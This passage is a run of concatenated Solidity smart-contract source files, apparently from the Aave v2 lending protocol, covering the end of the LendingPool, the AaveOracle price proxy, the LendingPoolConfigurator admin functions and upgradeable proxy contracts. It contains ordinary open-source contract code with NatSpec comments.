(DataTypes.ReserveConfigurationMap memory) { return _reserves[asset].configuration; } /** * @dev Returns the configuration of the user across all the reserves * @param user The user address * @return The configuration of the user **/ function getUserConfiguration(address user) external view override returns (DataTypes.UserConfigurationMap memory) { return _usersConfig[user]; } /** * @dev Returns the normalized income per unit of asset * @param asset The address of the underlying asset of the reserve * @return The reserve's normalized income */ function getReserveNormalizedIncome(address asset) external view virtual override returns (uint256) { return _reserves[asset].getNormalizedIncome(); } /** * @dev Returns the normalized variable debt per unit of asset * @param asset The address of the underlying asset of the reserve * @return The reserve normalized variable debt */ function getReserveNormalizedVariableDebt(address asset) external view override returns (uint256) { return _reserves[asset].getNormalizedDebt(); } /** * @dev Returns if the LendingPool is paused */ function paused() external view override returns (bool) { return _paused; } /** * @dev Returns the list of the initialized reserves **/ function getReservesList() external view override returns (address[] memory) { address[] memory _activeReserves = new address[](_reservesCount); for (uint256 i = 0; i < _reservesCount; i++) { _activeReserves[i] = _reservesList[i]; } return _activeReserves; } /** * @dev Returns the cached LendingPoolAddressesProvider connected to this contract **/ function getAddressesProvider() external view override returns (ILendingPoolAddressesProvider) { return _addressesProvider; } /** * @dev Validates and finalizes an aToken transfer * - Only callable by the overlying aToken of the `asset` * @param asset The address of the underlying asset of the aToken * @param from The user from which the aTokens are transferred * @param to The user receiving the aTokens * @param amount The amount being transferred/withdrawn * @param balanceFromBefore The aToken balance of the `from` user before the transfer * @param balanceToBefore The aToken balance of the `to` user before the transfer */ function finalizeTransfer( address asset, address from, address to, uint256 amount, uint256 balanceFromBefore, uint256 balanceToBefore ) external override whenNotPaused { require(msg.sender == _reserves[asset].aTokenAddress, Errors.LP_CALLER_MUST_BE_AN_ATOKEN); ValidationLogic.validateTransfer( from, _reserves, _usersConfig[from], _reservesList, _reservesCount, _addressesProvider.getPriceOracle() ); uint256 reserveId = _reserves[asset].id; if (from != to) { if (balanceFromBefore.sub(amount) == 0) { DataTypes.UserConfigurationMap storage fromConfig = _usersConfig[from]; fromConfig.setUsingAsCollateral(reserveId, false); emit ReserveUsedAsCollateralDisabled(asset, from); } if (balanceToBefore == 0 && amount != 0) { DataTypes.UserConfigurationMap storage toConfig = _usersConfig[to]; toConfig.setUsingAsCollateral(reserveId, true); emit ReserveUsedAsCollateralEnabled(asset, to); } } } /** * @dev Initializes a reserve, activating it, assigning an aToken and debt tokens and an * interest rate strategy * - Only callable by the LendingPoolConfigurator contract * @param asset The address of the underlying asset of the reserve * @param aTokenAddress The address of the aToken that will be assigned to the reserve * @param stableDebtAddress The address of the StableDebtToken that will be assigned to the reserve * @param aTokenAddress The address of the VariableDebtToken that will be assigned to the reserve * @param interestRateStrategyAddress The address of the interest rate strategy contract **/ function initReserve( address asset, address aTokenAddress, address stableDebtAddress, address variableDebtAddress, address interestRateStrategyAddress ) external override onlyLendingPoolConfigurator { require(Address.isContract(asset), Errors.LP_NOT_CONTRACT); _reserves[asset].init( aTokenAddress, stableDebtAddress, variableDebtAddress, interestRateStrategyAddress ); _addReserveToList(asset); } /** * @dev Updates the address of the interest rate strategy contract * - Only callable by the LendingPoolConfigurator contract * @param asset The address of the underlying asset of the reserve * @param rateStrategyAddress The address of the interest rate strategy contract **/ function setReserveInterestRateStrategyAddress(address asset, address rateStrategyAddress) external override onlyLendingPoolConfigurator { _reserves[asset].interestRateStrategyAddress = rateStrategyAddress; } /** * @dev Sets the configuration bitmap of the reserve as a whole * - Only callable by the LendingPoolConfigurator contract * @param asset The address of the underlying asset of the reserve * @param configuration The new configuration bitmap **/ function setConfiguration(address asset, uint256 configuration) external override onlyLendingPoolConfigurator { _reserves[asset].configuration.data = configuration; } /** * @dev Set the _pause state of a reserve * - Only callable by the LendingPoolConfigurator contract * @param val `true` to pause the reserve, `false` to un-pause it */ function setPause(bool val) external override onlyLendingPoolConfigurator { _paused = val; if (_paused) { emit Paused(); } else { emit Unpaused(); } } struct ExecuteBorrowParams { address asset; address user; address onBehalfOf; uint256 amount; uint256 interestRateMode; address aTokenAddress; uint16 referralCode; bool releaseUnderlying; } function _executeBorrow(ExecuteBorrowParams memory vars) internal { DataTypes.ReserveData storage reserve = _reserves[vars.asset]; DataTypes.UserConfigurationMap storage userConfig = _usersConfig[vars.onBehalfOf]; address oracle = _addressesProvider.getPriceOracle(); uint256 amountInETH = IPriceOracleGetter(oracle).getAssetPrice(vars.asset).mul(vars.amount).div( 10**reserve.configuration.getDecimals() ); ValidationLogic.validateBorrow( vars.asset, reserve, vars.onBehalfOf, vars.amount, amountInETH, vars.interestRateMode, MAX_STABLE_RATE_BORROW_SIZE_PERCENT, _reserves, userConfig, _reservesList, _reservesCount, oracle ); reserve.updateState(); uint256 currentStableRate = 0; bool isFirstBorrowing = false; if (DataTypes.InterestRateMode(vars.interestRateMode) == DataTypes.InterestRateMode.STABLE) { currentStableRate = reserve.currentStableBorrowRate; isFirstBorrowing = IStableDebtToken(reserve.stableDebtTokenAddress).mint( vars.user, vars.onBehalfOf, vars.amount, currentStableRate ); } else { isFirstBorrowing = IVariableDebtToken(reserve.variableDebtTokenAddress).mint( vars.user, vars.onBehalfOf, vars.amount, reserve.variableBorrowIndex ); } if (isFirstBorrowing) { userConfig.setBorrowing(reserve.id, true); } reserve.updateInterestRates( vars.asset, vars.aTokenAddress, 0, vars.releaseUnderlying ? vars.amount : 0 ); if (vars.releaseUnderlying) { IAToken(vars.aTokenAddress).transferUnderlyingTo(vars.user, vars.amount); } emit Borrow( vars.asset, vars.user, vars.onBehalfOf, vars.amount, vars.interestRateMode, DataTypes.InterestRateMode(vars.interestRateMode) == DataTypes.InterestRateMode.STABLE ? currentStableRate : reserve.currentVariableBorrowRate, vars.referralCode ); } function _addReserveToList(address asset) internal { uint256 reservesCount = _reservesCount; require(reservesCount < MAX_NUMBER_RESERVES, Errors.LP_NO_MORE_RESERVES_ALLOWED); bool reserveAlreadyAdded = _reserves[asset].id != 0 || _reservesList[0] == asset; if (!reserveAlreadyAdded) { _reserves[asset].id = uint8(reservesCount); _reservesList[reservesCount] = asset; _reservesCount = reservesCount + 1; } } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {Ownable} from '../dependencies/openzeppelin/contracts/Ownable.sol'; import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol'; import {IPriceOracleGetter} from '../interfaces/IPriceOracleGetter.sol'; import {IChainlinkAggregator} from '../interfaces/IChainlinkAggregator.sol'; import {SafeERC20} from '../dependencies/openzeppelin/contracts/SafeERC20.sol'; /// @title AaveOracle /// @author Aave /// @notice Proxy smart contract to get the price of an asset from a price source, with Chainlink Aggregator /// smart contracts as primary option /// - If the returned price by a Chainlink aggregator is <= 0, the call is forwarded to a fallbackOracle /// - Owned by the Aave governance system, allowed to add sources for assets, replace them /// and change the fallbackOracle contract AaveOracle is IPriceOracleGetter, Ownable { using SafeERC20 for IERC20; event WethSet(address indexed weth); event AssetSourceUpdated(address indexed asset, address indexed source); event FallbackOracleUpdated(address indexed fallbackOracle); mapping(address => IChainlinkAggregator) private assetsSources; IPriceOracleGetter private _fallbackOracle; address public immutable WETH; /// @notice Constructor /// @param assets The addresses of the assets /// @param sources The address of the source of each asset /// @param fallbackOracle The address of the fallback oracle to use if the data of an /// aggregator is not consistent constructor( address[] memory assets, address[] memory sources, address fallbackOracle, address weth ) public { _setFallbackOracle(fallbackOracle); _setAssetsSources(assets, sources); WETH = weth; emit WethSet(weth); } /// @notice External function called by the Aave governance to set or replace sources of assets /// @param assets The addresses of the assets /// @param sources The address of the source of each asset function setAssetSources(address[] calldata assets, address[] calldata sources) external onlyOwner { _setAssetsSources(assets, sources); } /// @notice Sets the fallbackOracle /// - Callable only by the Aave governance /// @param fallbackOracle The address of the fallbackOracle function setFallbackOracle(address fallbackOracle) external onlyOwner { _setFallbackOracle(fallbackOracle); } /// @notice Internal function to set the sources for each asset /// @param assets The addresses of the assets /// @param sources The address of the source of each asset function _setAssetsSources(address[] memory assets, address[] memory sources) internal { require(assets.length == sources.length, 'INCONSISTENT_PARAMS_LENGTH'); for (uint256 i = 0; i < assets.length; i++) { assetsSources[assets[i]] = IChainlinkAggregator(sources[i]); emit AssetSourceUpdated(assets[i], sources[i]); } } /// @notice Internal function to set the fallbackOracle /// @param fallbackOracle The address of the fallbackOracle function _setFallbackOracle(address fallbackOracle) internal { _fallbackOracle = IPriceOracleGetter(fallbackOracle); emit FallbackOracleUpdated(fallbackOracle); } /// @notice Gets an asset price by address /// @param asset The asset address function getAssetPrice(address asset) public view override returns (uint256) { IChainlinkAggregator source = assetsSources[asset]; if (asset == WETH) { return 1 ether; } else if (address(source) == address(0)) { return _fallbackOracle.getAssetPrice(asset); } else { int256 price = IChainlinkAggregator(source).latestAnswer(); if (price > 0) { return uint256(price); } else { return _fallbackOracle.getAssetPrice(asset); } } } /// @notice Gets a list of prices from a list of assets addresses /// @param assets The list of assets addresses function getAssetsPrices(address[] calldata assets) external view returns (uint256[] memory) { uint256[] memory prices = new uint256[](assets.length); for (uint256 i = 0; i < assets.length; i++) { prices[i] = getAssetPrice(assets[i]); } return prices; } /// @notice Gets the address of the source for an asset address /// @param asset The address of the asset /// @return address The address of the source function getSourceOfAsset(address asset) external view returns (address) { return address(assetsSources[asset]); } /// @notice Gets the address of the fallback oracle /// @return address The addres of the fallback oracle function getFallbackOracle() external view returns (address) { return address(_fallbackOracle); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; interface IChainlinkAggregator { function latestAnswer() external view returns (int256); function latestTimestamp() external view returns (uint256); function latestRound() external view returns (uint256); function getAnswer(uint256 roundId) external view returns (int256); function getTimestamp(uint256 roundId) external view returns (uint256); event AnswerUpdated(int256 indexed current, uint256 indexed roundId, uint256 timestamp); event NewRound(uint256 indexed roundId, address indexed startedBy); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol'; interface IExchangeAdapter { event Exchange( address indexed from, address indexed to, address indexed platform, uint256 fromAmount, uint256 toAmount ); function approveExchange(IERC20[] calldata tokens) external; function exchange( address from, address to, uint256 amount, uint256 maxSlippage ) external returns (uint256); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {SafeMath} from '../../dependencies/openzeppelin/contracts/SafeMath.sol'; import {VersionedInitializable} from '../libraries/aave-upgradeability/VersionedInitializable.sol'; import { InitializableImmutableAdminUpgradeabilityProxy } from '../libraries/aave-upgradeability/InitializableImmutableAdminUpgradeabilityProxy.sol'; import {ReserveConfiguration} from '../libraries/configuration/ReserveConfiguration.sol'; import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol'; import {ILendingPool} from '../../interfaces/ILendingPool.sol'; import {ITokenConfiguration} from '../../interfaces/ITokenConfiguration.sol'; import {IERC20Detailed} from '../../dependencies/openzeppelin/contracts/IERC20Detailed.sol'; import {Errors} from '../libraries/helpers/Errors.sol'; import {PercentageMath} from '../libraries/math/PercentageMath.sol'; import {DataTypes} from '../libraries/types/DataTypes.sol'; /** * @title LendingPoolConfigurator contract * @author Aave * @dev Implements the configuration methods for the Aave protocol **/ contract LendingPoolConfigurator is VersionedInitializable { using SafeMath for uint256; using PercentageMath for uint256; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; /** * @dev Emitted when a reserve is initialized. * @param asset The address of the underlying asset of the reserve * @param aToken The address of the associated aToken contract * @param stableDebtToken The address of the associated stable rate debt token * @param variableDebtToken The address of the associated variable rate debt token * @param interestRateStrategyAddress The address of the interest rate strategy for the reserve **/ event ReserveInitialized( address indexed asset, address indexed aToken, address stableDebtToken, address variableDebtToken, address interestRateStrategyAddress ); /** * @dev Emitted when borrowing is enabled on a reserve * @param asset The address of the underlying asset of the reserve * @param stableRateEnabled True if stable rate borrowing is enabled, false otherwise **/ event BorrowingEnabledOnReserve(address indexed asset, bool stableRateEnabled); /** * @dev Emitted when borrowing is disabled on a reserve * @param asset The address of the underlying asset of the reserve **/ event BorrowingDisabledOnReserve(address indexed asset); /** * @dev Emitted when the collateralization risk parameters for the specified asset are updated. * @param asset The address of the underlying asset of the reserve * @param ltv The loan to value of the asset when used as collateral * @param liquidationThreshold The threshold at which loans using this asset as collateral will be considered undercollateralized * @param liquidationBonus The bonus liquidators receive to liquidate this asset **/ event CollateralConfigurationChanged( address indexed asset, uint256 ltv, uint256 liquidationThreshold, uint256 liquidationBonus ); /** * @dev Emitted when stable rate borrowing is enabled on a reserve * @param asset The address of the underlying asset of the reserve **/ event StableRateEnabledOnReserve(address indexed asset); /** * @dev Emitted when stable rate borrowing is disabled on a reserve * @param asset The address of the underlying asset of the reserve **/ event StableRateDisabledOnReserve(address indexed asset); /** * @dev Emitted when a reserve is activated * @param asset The address of the underlying asset of the reserve **/ event ReserveActivated(address indexed asset); /** * @dev Emitted when a reserve is deactivated * @param asset The address of the underlying asset of the reserve **/ event ReserveDeactivated(address indexed asset); /** * @dev Emitted when a reserve is frozen * @param asset The address of the underlying asset of the reserve **/ event ReserveFrozen(address indexed asset); /** * @dev Emitted when a reserve is unfrozen * @param asset The address of the underlying asset of the reserve **/ event ReserveUnfrozen(address indexed asset); /** * @dev Emitted when a reserve factor is updated * @param asset The address of the underlying asset of the reserve * @param factor The new reserve factor **/ event ReserveFactorChanged(address indexed asset, uint256 factor); /** * @dev Emitted when the reserve decimals are updated * @param asset The address of the underlying asset of the reserve * @param decimals The new decimals **/ event ReserveDecimalsChanged(address indexed asset, uint256 decimals); /** * @dev Emitted when a reserve interest strategy contract is updated * @param asset The address of the underlying asset of the reserve * @param strategy The new address of the interest strategy contract **/ event ReserveInterestRateStrategyChanged(address indexed asset, address strategy); /** * @dev Emitted when an aToken implementation is upgraded * @param asset The address of the underlying asset of the reserve * @param proxy The aToken proxy address * @param implementation The new aToken implementation **/ event ATokenUpgraded( address indexed asset, address indexed proxy, address indexed implementation ); /** * @dev Emitted when the implementation of a stable debt token is upgraded * @param asset The address of the underlying asset of the reserve * @param proxy The stable debt token proxy address * @param implementation The new aToken implementation **/ event StableDebtTokenUpgraded( address indexed asset, address indexed proxy, address indexed implementation ); /** * @dev Emitted when the implementation of a variable debt token is upgraded * @param asset The address of the underlying asset of the reserve * @param proxy The variable debt token proxy address * @param implementation The new aToken implementation **/ event VariableDebtTokenUpgraded( address indexed asset, address indexed proxy, address indexed implementation ); ILendingPoolAddressesProvider internal addressesProvider; ILendingPool internal pool; modifier onlyPoolAdmin { require(addressesProvider.getPoolAdmin() == msg.sender, Errors.CALLER_NOT_POOL_ADMIN); _; } modifier onlyEmergencyAdmin { require( addressesProvider.getEmergencyAdmin() == msg.sender, Errors.LPC_CALLER_NOT_EMERGENCY_ADMIN ); _; } uint256 internal constant CONFIGURATOR_REVISION = 0x1; function getRevision() internal pure override returns (uint256) { return CONFIGURATOR_REVISION; } function initialize(ILendingPoolAddressesProvider provider) public initializer { addressesProvider = provider; pool = ILendingPool(addressesProvider.getLendingPool()); } /** * @dev Initializes a reserve * @param aTokenImpl The address of the aToken contract implementation * @param stableDebtTokenImpl The address of the stable debt token contract * @param variableDebtTokenImpl The address of the variable debt token contract * @param underlyingAssetDecimals The decimals of the reserve underlying asset * @param interestRateStrategyAddress The address of the interest rate strategy contract for this reserve **/ function initReserve( address aTokenImpl, address stableDebtTokenImpl, address variableDebtTokenImpl, uint8 underlyingAssetDecimals, address interestRateStrategyAddress ) public onlyPoolAdmin { address asset = ITokenConfiguration(aTokenImpl).UNDERLYING_ASSET_ADDRESS(); require( address(pool) == ITokenConfiguration(aTokenImpl).POOL(), Errors.LPC_INVALID_ATOKEN_POOL_ADDRESS ); require( address(pool) == ITokenConfiguration(stableDebtTokenImpl).POOL(), Errors.LPC_INVALID_STABLE_DEBT_TOKEN_POOL_ADDRESS ); require( address(pool) == ITokenConfiguration(variableDebtTokenImpl).POOL(), Errors.LPC_INVALID_VARIABLE_DEBT_TOKEN_POOL_ADDRESS ); require( asset == ITokenConfiguration(stableDebtTokenImpl).UNDERLYING_ASSET_ADDRESS(), Errors.LPC_INVALID_STABLE_DEBT_TOKEN_UNDERLYING_ADDRESS ); require( asset == ITokenConfiguration(variableDebtTokenImpl).UNDERLYING_ASSET_ADDRESS(), Errors.LPC_INVALID_VARIABLE_DEBT_TOKEN_UNDERLYING_ADDRESS ); address aTokenProxyAddress = _initTokenWithProxy(aTokenImpl, underlyingAssetDecimals); address stableDebtTokenProxyAddress = _initTokenWithProxy(stableDebtTokenImpl, underlyingAssetDecimals); address variableDebtTokenProxyAddress = _initTokenWithProxy(variableDebtTokenImpl, underlyingAssetDecimals); pool.initReserve( asset, aTokenProxyAddress, stableDebtTokenProxyAddress, variableDebtTokenProxyAddress, interestRateStrategyAddress ); DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset); currentConfig.setDecimals(underlyingAssetDecimals); currentConfig.setActive(true); currentConfig.setFrozen(false); pool.setConfiguration(asset, currentConfig.data); emit ReserveInitialized( asset, aTokenProxyAddress, stableDebtTokenProxyAddress, variableDebtTokenProxyAddress, interestRateStrategyAddress ); } /** * @dev Updates the aToken implementation for the reserve * @param asset The address of the underlying asset of the reserve to be updated * @param implementation The address of the new aToken implementation **/ function updateAToken(address asset, address implementation) external onlyPoolAdmin { DataTypes.ReserveData memory reserveData = pool.getReserveData(asset); _upgradeTokenImplementation(asset, reserveData.aTokenAddress, implementation); emit ATokenUpgraded(asset, reserveData.aTokenAddress, implementation); } /** * @dev Updates the stable debt token implementation for the reserve * @param asset The address of the underlying asset of the reserve to be updated * @param implementation The address of the new aToken implementation **/ function updateStableDebtToken(address asset, address implementation) external onlyPoolAdmin { DataTypes.ReserveData memory reserveData = pool.getReserveData(asset); _upgradeTokenImplementation(asset, reserveData.stableDebtTokenAddress, implementation); emit StableDebtTokenUpgraded(asset, reserveData.stableDebtTokenAddress, implementation); } /** * @dev Updates the variable debt token implementation for the asset * @param asset The address of the underlying asset of the reserve to be updated * @param implementation The address of the new aToken implementation **/ function updateVariableDebtToken(address asset, address implementation) external onlyPoolAdmin { DataTypes.ReserveData memory reserveData = pool.getReserveData(asset); _upgradeTokenImplementation(asset, reserveData.variableDebtTokenAddress, implementation); emit VariableDebtTokenUpgraded(asset, reserveData.variableDebtTokenAddress, implementation); } /** * @dev Enables borrowing on a reserve * @param asset The address of the underlying asset of the reserve * @param stableBorrowRateEnabled True if stable borrow rate needs to be enabled by default on this reserve **/ function enableBorrowingOnReserve(address asset, bool stableBorrowRateEnabled) external onlyPoolAdmin { DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset); currentConfig.setBorrowingEnabled(true); currentConfig.setStableRateBorrowingEnabled(stableBorrowRateEnabled); pool.setConfiguration(asset, currentConfig.data); emit BorrowingEnabledOnReserve(asset, stableBorrowRateEnabled); } /** * @dev Disables borrowing on a reserve * @param asset The address of the underlying asset of the reserve **/ function disableBorrowingOnReserve(address asset) external onlyPoolAdmin { DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset); currentConfig.setBorrowingEnabled(false); pool.setConfiguration(asset, currentConfig.data); emit BorrowingDisabledOnReserve(asset); } /** * @dev Configures the reserve collateralization parameters * all the values are expressed in percentages with two decimals of precision. A valid value is 10000, which means 100.00% * @param asset The address of the underlying asset of the reserve * @param ltv The loan to value of the asset when used as collateral * @param liquidationThreshold The threshold at which loans using this asset as collateral will be considered undercollateralized * @param liquidationBonus The bonus liquidators receive to liquidate this asset. The values is always above 100%. A value of 105% * means the liquidator will receive a 5% bonus **/ function configureReserveAsCollateral( address asset, uint256 ltv, uint256 liquidationThreshold, uint256 liquidationBonus ) external onlyPoolAdmin { DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset); //validation of the parameters: the LTV can //only be lower or equal than the liquidation threshold //(otherwise a loan against the asset would cause instantaneous liquidation) require(ltv <= liquidationThreshold, Errors.LPC_INVALID_CONFIGURATION); if (liquidationThreshold != 0) { //liquidation bonus must be bigger than 100.00%, otherwise the liquidator would receive less //collateral than needed to cover the debt require( liquidationBonus > PercentageMath.PERCENTAGE_FACTOR, Errors.LPC_INVALID_CONFIGURATION ); //if threshold * bonus is less than PERCENTAGE_FACTOR, it's guaranteed that at the moment //a loan is taken there is enough collateral available to cover the liquidation bonus require( liquidationThreshold.percentMul(liquidationBonus) <= PercentageMath.PERCENTAGE_FACTOR, Errors.LPC_INVALID_CONFIGURATION ); } else { require(liquidationBonus == 0, Errors.LPC_INVALID_CONFIGURATION); //if the liquidation threshold is being set to 0, // the reserve is being disabled as collateral. To do so, //we need to ensure no liquidity is deposited _checkNoLiquidity(asset); } currentConfig.setLtv(ltv); currentConfig.setLiquidationThreshold(liquidationThreshold); currentConfig.setLiquidationBonus(liquidationBonus); pool.setConfiguration(asset, currentConfig.data); emit CollateralConfigurationChanged(asset, ltv, liquidationThreshold, liquidationBonus); } /** * @dev Enable stable rate borrowing on a reserve * @param asset The address of the underlying asset of the reserve **/ function enableReserveStableRate(address asset) external onlyPoolAdmin { DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset); currentConfig.setStableRateBorrowingEnabled(true); pool.setConfiguration(asset, currentConfig.data); emit StableRateEnabledOnReserve(asset); } /** * @dev Disable stable rate borrowing on a reserve * @param asset The address of the underlying asset of the reserve **/ function disableReserveStableRate(address asset) external onlyPoolAdmin { DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset); currentConfig.setStableRateBorrowingEnabled(false); pool.setConfiguration(asset, currentConfig.data); emit StableRateDisabledOnReserve(asset); } /** * @dev Activates a reserve * @param asset The address of the underlying asset of the reserve **/ function activateReserve(address asset) external onlyPoolAdmin { DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset); currentConfig.setActive(true); pool.setConfiguration(asset, currentConfig.data); emit ReserveActivated(asset); } /** * @dev Deactivates a reserve * @param asset The address of the underlying asset of the reserve **/ function deactivateReserve(address asset) external onlyPoolAdmin { _checkNoLiquidity(asset); DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset); currentConfig.setActive(false); pool.setConfiguration(asset, currentConfig.data); emit ReserveDeactivated(asset); } /** * @dev Freezes a reserve. A frozen reserve doesn't allow any new deposit, borrow or rate swap * but allows repayments, liquidations, rate rebalances and withdrawals * @param asset The address of the underlying asset of the reserve **/ function freezeReserve(address asset) external onlyPoolAdmin { DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset); currentConfig.setFrozen(true); pool.setConfiguration(asset, currentConfig.data); emit ReserveFrozen(asset); } /** * @dev Unfreezes a reserve * @param asset The address of the underlying asset of the reserve **/ function unfreezeReserve(address asset) external onlyPoolAdmin { DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset); currentConfig.setFrozen(false); pool.setConfiguration(asset, currentConfig.data); emit ReserveUnfrozen(asset); } /** * @dev Updates the reserve factor of a reserve * @param asset The address of the underlying asset of the reserve * @param reserveFactor The new reserve factor of the reserve **/ function setReserveFactor(address asset, uint256 reserveFactor) external onlyPoolAdmin { DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset); currentConfig.setReserveFactor(reserveFactor); pool.setConfiguration(asset, currentConfig.data); emit ReserveFactorChanged(asset, reserveFactor); } /** * @dev Sets the interest rate strategy of a reserve * @param asset The address of the underlying asset of the reserve * @param rateStrategyAddress The new address of the interest strategy contract **/ function setReserveInterestRateStrategyAddress(address asset, address rateStrategyAddress) external onlyPoolAdmin { pool.setReserveInterestRateStrategyAddress(asset, rateStrategyAddress); emit ReserveInterestRateStrategyChanged(asset, rateStrategyAddress); } /** * @dev pauses or unpauses all the actions of the protocol, including aToken transfers * @param val true if protocol needs to be paused, false otherwise **/ function setPoolPause(bool val) external onlyEmergencyAdmin { pool.setPause(val); } function _initTokenWithProxy(address implementation, uint8 decimals) internal returns (address) { InitializableImmutableAdminUpgradeabilityProxy proxy = new InitializableImmutableAdminUpgradeabilityProxy(address(this)); bytes memory params = abi.encodeWithSignature( 'initialize(uint8,string,string)', decimals, IERC20Detailed(implementation).name(), IERC20Detailed(implementation).symbol() ); proxy.initialize(implementation, params); return address(proxy); } function _upgradeTokenImplementation( address asset, address proxyAddress, address implementation ) internal { InitializableImmutableAdminUpgradeabilityProxy proxy = InitializableImmutableAdminUpgradeabilityProxy(payable(proxyAddress)); DataTypes.ReserveConfigurationMap memory configuration = pool.getConfiguration(asset); (, , , uint256 decimals, ) = configuration.getParamsMemory(); bytes memory params = abi.encodeWithSignature( 'initialize(uint8,string,string)', uint8(decimals), IERC20Detailed(implementation).name(), IERC20Detailed(implementation).symbol() ); proxy.upgradeToAndCall(implementation, params); } function _checkNoLiquidity(address asset) internal view { DataTypes.ReserveData memory reserveData = pool.getReserveData(asset); uint256 availableLiquidity = IERC20Detailed(asset).balanceOf(reserveData.aTokenAddress); require( availableLiquidity == 0 && reserveData.currentLiquidityRate == 0, Errors.LPC_RESERVE_LIQUIDITY_NOT_0 ); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import './BaseImmutableAdminUpgradeabilityProxy.sol'; import '../../../dependencies/openzeppelin/upgradeability/InitializableUpgradeabilityProxy.sol'; /** * @title InitializableAdminUpgradeabilityProxy * @dev Extends BaseAdminUpgradeabilityProxy with an initializer function */ contract InitializableImmutableAdminUpgradeabilityProxy is BaseImmutableAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy { constructor(address admin) public BaseImmutableAdminUpgradeabilityProxy(admin) {} /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override(BaseImmutableAdminUpgradeabilityProxy, Proxy) { BaseImmutableAdminUpgradeabilityProxy._willFallback(); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.6.12; /** * @title ITokenConfiguration * @author Aave * @dev Common interface between aTokens and debt tokens to fetch the * token configuration **/ interface ITokenConfiguration { function UNDERLYING_ASSET_ADDRESS() external view returns (address); function POOL() external view returns (address); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import '../../../dependencies/openzeppelin/upgradeability/BaseUpgradeabilityProxy.sol'; /** * @title BaseImmutableAdminUpgradeabilityProxy * @author Aave, inspired by the OpenZeppelin upgradeability proxy pattern * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. The admin role is stored in an immutable, which * helps saving transactions costs * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract BaseImmutableAdminUpgradeabilityProxy is BaseUpgradeabilityProxy { address immutable ADMIN; constructor(address admin) public { ADMIN = admin; } modifier ifAdmin() { if (msg.sender == ADMIN) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return ADMIN; } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin { _upgradeTo(newImplementation); (bool success, ) = newImplementation.delegatecall(data); require(success); } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal virtual override { require(msg.sender != ADMIN, 'Cannot call fallback function from the proxy admin'); super._willFallback(); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import './BaseUpgradeabilityProxy.sol'; /** * @title InitializableUpgradeabilityProxy * @dev Extends BaseUpgradeabilityProxy with an initializer for initializing * implementation and init data. */ contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Contract initializer. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ function initialize(address _logic, bytes memory _data) public payable { require(_implementation() == address(0)); assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if (_data.length > 0) { (bool success, ) = _logic.delegatecall(_data); require(success); } } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import './Proxy.sol'; import '../contracts/Address.sol'; /** * @title BaseUpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract BaseUpgradeabilityProxy is Proxy { /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal view override returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; //solium-disable-next-line assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { 